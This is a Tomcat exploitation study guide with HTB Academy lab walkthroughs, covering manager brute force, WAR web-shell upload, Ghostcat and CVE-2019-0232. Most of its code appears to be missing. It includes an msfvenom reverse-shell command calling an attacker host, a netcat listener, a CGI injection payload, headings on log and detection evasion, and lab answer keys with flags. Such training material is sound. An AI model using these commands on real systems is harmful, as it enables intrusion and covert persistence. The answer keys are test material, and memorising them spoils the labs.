Tomcat Attacks & Exploitation
π― Objective: Master advanced exploitation techniques for Apache Tomcat servlet containers, focusing on manager interface abuse, WAR file upload attacks, JSP web shell deployment, and known vulnerability exploitation for achieving remote code execution and system compromise.
Overview
Tomcat exploitation represents one of the highest-impact attack vectors in enterprise environments, often providing immediate remote code execution with elevated privileges (SYSTEM/root). With widespread deployment across internal networks and frequent misconfigurations, Tomcat attacks offer reliable pathways for initial access and privilege escalation in Active Directory and Linux server environments.
Critical Attack Vectors:
Manager Interface Exploitation - /manager/html authentication bypass and abuse
WAR File Upload Attacks - Malicious application deployment for RCE
JSP Web Shell Deployment - Persistent backdoor access and command execution
CVE-2020-1938 Ghostcat - Unauthenticated local file inclusion vulnerability
Default Credential Abuse - Weak authentication bypassing enterprise security
Enterprise Impact:
External Foothold - Tomcat commonly exposed on perimeters for high-impact initial access
Internal Privilege Escalation - Frequent SYSTEM/root execution context in enterprise deployments
Active Directory Compromise - Domain-joined Windows servers running Tomcat with elevated privileges
Data Exfiltration - Access to application data, configuration files, and sensitive backend systems
Manager Interface Authentication Attacks
Metasploit Brute Force Methodology
Auxiliary Scanner Configuration
Advanced Scanner Options
Expected Brute Force Output
Custom Python Brute Force Script
Complete Attack Script
Script Usage and Execution
Manual Authentication Testing
Burp Suite Integration
Default Credential Database
WAR File Upload Exploitation
Manager Interface WAR Deployment
JSP Web Shell Creation
WAR File Package Creation
Manager Interface Deployment Process
Advanced WAR Exploitation Techniques
Msfvenom Reverse Shell WAR Generation
Metasploit Automated WAR Upload
Web Shell Operational Security
Stealth Web Shell Enhancements
Web Shell Detection Evasion
CVE-2020-1938: Ghostcat Vulnerability
Vulnerability Overview
CVE-2020-1938 (Ghostcat) represents a critical unauthenticated LFI vulnerability affecting all Tomcat versions before 9.0.31, 8.5.51, and 7.0.100. This vulnerability exploits AJP protocol misconfigurations to achieve arbitrary file reading within web application directories.
Technical Details:
Vulnerability Type: Unauthenticated Local File Inclusion (LFI)
Affected Protocol: Apache Jserv Protocol (AJP)
Default Port: 8009/tcp
Impact: Read sensitive files within webapps directory
CVSS Score: 9.8 (Critical)
Discovery Date: February 2020
AJP Protocol Reconnaissance
Service Detection and Enumeration
AJP Protocol Analysis
Ghostcat Exploitation Methodology
Python Exploit Script Deployment
File Disclosure Exploitation
Advanced File Disclosure Targets
Ghostcat Limitations and Constraints
File System Scope Restrictions
Exploitation Enhancement Techniques
HTB Academy Lab Solutions
Lab 1: Manager Brute Force Attack
Question: "Perform a login bruteforcing attack against Tomcat manager at http://web01.inlanefreight.local:8180. What is the valid username?"
Solution Methodology:
Step 1: Environment Setup
Step 2: Metasploit Brute Force Execution
Step 3: Alternative Python Script Method
Lab 2: Password Identification
Question: "What is the password?"
Solution Analysis:
Authentication Result Extraction
Credential Validation
π¨ Important Lab Note: The HTB Academy walkthrough shows tomcat:root as the working credentials in the actual lab environment, while the brute force attack discovers tomcat:admin. Both credential sets should be tested depending on the specific lab instance.
Lab 3: Remote Code Execution & Flag Retrieval
Question: "Obtain remote code execution on the http://web01.inlanefreight.local:8180 Tomcat instance. Find and submit the contents of tomcat_flag.txt"
Solution Methodology:
Step 1: JSP Web Shell Creation
Step 2: WAR File Package and Deployment
Step 3: Web Shell Access and Command Execution
Step 4: Alternative Method - Msfvenom Reverse Shell (HTB Academy Preferred)
Step 5: WAR Deployment and Shell Establishment
Step 6: Flag Discovery and Extraction
Step 7: Alternative Web Shell Method (Backup Approach)
Step 8: Post-Exploitation Cleanup (Optional)
π― HTB Academy Lab Summary
Complete Lab Methodology:
VHost Configuration - Add
10.129.201.58 web01.inlanefreight.localto/etc/hostsCredential Discovery - Brute force reveals
tomcat:admin(lab may usetomcat:root)Reverse Shell Generation -
msfvenom -p java/jsp_shell_reverse_tcp LHOST=PWNIP LPORT=9001 -f war -o backup.warManager Authentication - Login to
http://web01.inlanefreight.local:8180/manager/htmlWAR Deployment - Upload and deploy
backup.warvia manager interfaceListener Setup -
nc -nvlp 9001for reverse shell receptionShell Triggering - Click deployed application to establish connection
Flag Retrieval -
cat /opt/tomcat/apache-tomcat-10.0.10/webapps/tomcat_flag.txt
Lab Answers:
Username:
tomcatPassword:
admin(brute force) orroot(lab walkthrough)Flag:
t0mcat_rc3_ftw!
Advanced Exploitation Scenarios
Enterprise Environment Considerations
Active Directory Integration
Privilege Escalation Vectors
Persistence and Lateral Movement
Backdoor JSP Installation
Network Reconnaissance
Defense Evasion and Operational Security
Anti-Detection Techniques
Web Shell Obfuscation
Traffic Encryption and Tunneling
Log Evasion Strategies
Tomcat Access Log Manipulation
System Log Evasion
Professional Assessment Integration
Tomcat Security Assessment Workflow
Discovery Phase Integration
Exploitation Phase Execution
Post-Exploitation Activities
Professional Reporting Considerations
Remediation and Hardening
Tomcat Security Hardening Guide
Authentication and Authorization
Network Security Configuration
Advanced Security Controls
Web Application Security
Tomcat CGI Exploitation (CVE-2019-0232)
Vulnerability Overview
CVE-2019-0232 represents a critical remote code execution vulnerability affecting Tomcat installations on Windows systems. This vulnerability exploits CGI servlet misconfigurations combined with Java Runtime Environment command-line argument parsing bugs to achieve arbitrary command execution with SYSTEM privileges.
Technical Details:
Vulnerability Type: Remote Code Execution (RCE)
Affected Versions: 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39, 7.0.0 to 7.0.93
Platform: Windows only
Requirement:
enableCmdLineArgumentsenabled on CGI servletCVSS Score: 9.8 (Critical)
Root Cause: JRE command-line argument parsing flaw on Windows
Skills Assessment Walkthrough
Question 1: "What vulnerable application is running?"
Discovery Methodology:
Analysis:
Application: Apache Tomcat
Version: 9.0.0.M1 (vulnerable to CVE-2019-0232)
Platform: Windows (required for exploitation)
Attack Vector: CGI command injection via JRE argument parsing
Answer: Apache Tomcat/9.0.0.M1
Question 2: "What port is this application running on?"
Port Discovery:
Answer: 8080
Question 3: "What version of the application is in use?"
Version Identification:
Answer: 9.0.0.M1
Question 4: "Exploit the application to obtain a shell and submit the contents of the flag.txt file on the Administrator desktop."
Complete Exploitation Methodology
Step 1: CGI Script Discovery
Key Discovery Points:
CGI directory accessible at
/cgi/Batch files present (Windows-specific)
Case variations (cmd.bat, Cmd.bat) indicate file system case sensitivity
Step 2: Metasploit Exploitation Setup
Module Parameters Explanation:
RHOSTS: Target IP address
TARGETURI: Path to vulnerable CGI script
LHOST: Attacker IP for reverse shell
FORCEEXPLOIT: Bypass exploit checks (force execution)
Step 3: Exploit Execution
Step 4: Meterpreter Session Management
Step 5: Flag Retrieval
Answer: f55763d31a8f63ec935abd07aee5d3d0
Alternative Exploitation Methods
Manual Command Injection (Educational)
Python Exploit Script
Technical Analysis
Vulnerability Root Cause
Exploitation Requirements
HTB Academy Lab: CGI Command Injection
Lab Question: "After running the URL Encoded 'whoami' payload, what user is tomcat running as?"
Step 1: Service Discovery
Step 2: CGI Script Discovery
Step 3: Command Injection Exploitation
Key Technical Details:
Command separator:
&allows command chainingURL encoding required: Bypasses Tomcat's special character filter
Full path needed: PATH variable unset in CGI environment
Payload:
c:\windows\system32\whoami.exeβc%3A%5Cwindows%5Csystem32%5Cwhoami.exe
Expected Answer: User running Tomcat service (typically nt authority\system or service account)
Attack Mechanism
CGI Servlet processes query parameters as command arguments
Input validation failure allows command injection via
&URL encoding bypass defeats special character filters
Arbitrary command execution with Tomcat service privileges
Next Steps
After mastering Tomcat exploitation:
Jenkins Discovery & Attacks - CI/CD pipeline exploitation
Java Deserialization Attacks - Advanced Java vulnerability analysis
Spring Boot Security Assessment - Framework-specific exploitation
π‘ Key Takeaway: Tomcat exploitation represents one of the highest-impact attack vectors in enterprise environments, providing immediate remote code execution with frequent SYSTEM/root privileges. Master manager interface abuse, WAR file deployment, and JSP web shell techniques for reliable penetration testing success across internal and external assessments.
βοΈ Professional Impact: Tomcat compromises often lead to complete domain takeover in Active Directory environments and critical data exposure in Linux server infrastructures, making these skills essential for advanced penetration testing.
Last updated